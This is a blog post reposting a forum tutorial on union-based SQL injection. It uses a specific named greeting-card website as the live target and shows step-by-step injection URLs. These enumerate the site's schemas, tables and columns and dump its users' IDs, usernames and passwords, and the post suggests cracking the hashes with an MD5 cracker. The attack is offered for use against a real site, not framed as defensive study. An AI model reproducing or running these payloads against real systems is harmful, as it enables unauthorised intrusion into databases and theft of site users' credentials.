Jumat, 07 April 2017

Detailed SQLi Tutorial

This is really detailed SQLi tutorial, 99% sure that even skiddies could learn from this (I was teaching one in msn and I guess he learned from this when I was explaining).
This was made by Psycho (me(I am Psycho, my nickname is psyco just because I was tired when I made this acc, stop asking about it....))

So first we need a vulnerable site, we are going to use this: http://www.greetingcard.org/artists.php
and there is a page that is vulnerable: http://www.greetingcard.org/artists.php?ID=11

You can test it by putting ' after the url:
http://www.greetingcard.org/artists.php?ID=11'
and it should give you an error

Ok now what you wanna do is to check how many columns there are
or what ever they are...
using "order by" function

You want a example?
http://www.greetingcard.org/artists.php?ID=11 order by 1--

To see that you can use order by
Then test something bigger, like 10 if you see no error, just keep making the number bigger until you get an error, it can be something like 35 :)

http://www.greetingcard.org/artists.php?ID=11 order by 10--

Q: does there need to be -- after the number
A: yeah, it must always be there. There is 2 - that means 2x- what is -- . Get it?

Ok there are 10 collums because 11 gives error and 10 doesn't

So now we are gonna select them
http://www.greetingcard.org/artists.php?ID=11 union select 1,2,3,4,5,6,7,8,9,10--

And if nothing happends, then you need to add - before that id thing, like this:
http://www.greetingcard.org/artists.php?ID=-11 union select 1,2,3,4,5,6,7,8,9,10--

So now we se 2 numbers: 2 and 4

Now you need to choose wich one you use
I would use 4 because there was more text in the normal page so it has more space where there will be those tables,columns and other stuff

That 2 is where that subject is and 4 is where is all the text
subject= usually really short
text=usually long enough

So we are gonna use 4
http://www.greetingcard.org/artists.php?ID=-11 union select 1,2,3,@@version,5,6,7,8,9,10--
to check that it is version 5
if it's 4 then just forget it, im not gonna explain that.....

Because it's 5 we can do it normally

So now we need to get what schemas they have
They are kinda databases

http://www.greetingcard.org/artists.php?ID=-11 union select 1,2,3,group_concat(schema_name),5,6,7,8,9,10 from information_schema.schemata--

That group_concat is the command to collect the info
From is where do we take this info, (schema_name)
Information_schema is a thing where we will be taking this info


Then you are gonna need text to hexconverter
http://www.swingnote.com/tools/texttohex.php


http://www.greetingcard.org/artists.php?ID=-11 union select 1,2,3,group_concat(schema_name),5,6,7,8,9,10 from information_schema.schemata--

You get this: information_schema,greetingcard_org_-_maindb

So now you need to select where you wanna get info
If information_schema is the only one, then use it but now we have change to choose something else
so we are gonna use: greetingcard_org_-_maindb
and you need to use that text to hexconverter to convert greetingcard_org_-_maindb
to hex


Q: why?
A: so we can use it in the fucking code god damned, don't ask so much questions

http://www.swingnote.com/tools/texttohex.php

So the hex is:
6772656574696e67636172645f6f72675f2d5f6d61696e6462

Next step, Getting tables
http://www.greetingcard.org/artists.php?ID=-11 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10 from information_schema.tables where table_schema=0x6772656574696e67636172645f6f72675f2d5f6d61696e6462--

group_concat(table_name) will "collect" tables
from information_schema.tables means it takes them from there
and where table_schema=0x(that schema name in hexhere) means it copys them only where schema name is that
[b]That 0x defines it's in hex

[/b]
So now you should see something like this:
adminLevels,content,contentCategories,contentbu,news,registrations,schedule,user​Categories,users


Those are tables

So we need to choose from wich table we want information
And we want to get users (duh?)

Next step: Getting columns
http://www.greetingcard.org/artists.php?ID=-11 union select 1,2,3,group_concat(column_name),5,6,7,8,9,10 from information_schema.columns where table_name=0x(table name in hexhere)--

so you need that hexconverter again
group_concat(column_name) collects columns
from information_schema.columns tells we want columns, if you put something else, it will cause an error
where table_name=0x(table name in hex(7573657273)) tells from what table we want all this info

"users" in hex: 7573657273

Q: doas it need to be 0x(7573657273)
A: No, just 0x7573657273 , no ()

That 0x defines it's in hex

And now because there is so many, we want to make it more easier to look, we wanna add a space between every column

group_concat(column_name,0x0D)

0x0D is hex code of "Enter"

now it's easier to read
so now we just need to select what we want from there

In this case, it would be these 3 propably:
userID
userUserName
userPassword

So we need to dump these three
and crack those passwords with MD5 cracker if it's hashed, to read them
http://www.greetingcard.org/artists.php?ID=-11 union select 1,2,3,group_concat(userID,0x3a,userUserName,0x3a,userPassword),5,6,7,8,9,10 from users--

and again to make it easier to read you may want to add 0x0D to end of that group_concat thing
http://www.greetingcard.org/artists.php?ID=-11 union select 1,2,3,group_concat(userID,0x3a,userUserName,0x3a,userPassword,0x0D),5,6,7,8,9,10 from users--

0x3a is hex of ":"
we use that so we can read what we get easier.
Normally if you just put group_concat(userUserName,userPassword) it would be like this idusernamepassword, example:
1adminlollerpops

But with those 0x3a we make it like this id:username: password, example:
1:admin:lollerpops

So there is all userids, usernames and passwords.
You can pm me if you got some problems, but I don't want to get any "PLz Hax this pl0x" or "LeRn meh to H4x" pm's!

This tutorial was wrote Psycho.
Ps. Please don't destroy the site so it can be used for learning this!

Tidak ada komentar:

Posting Komentar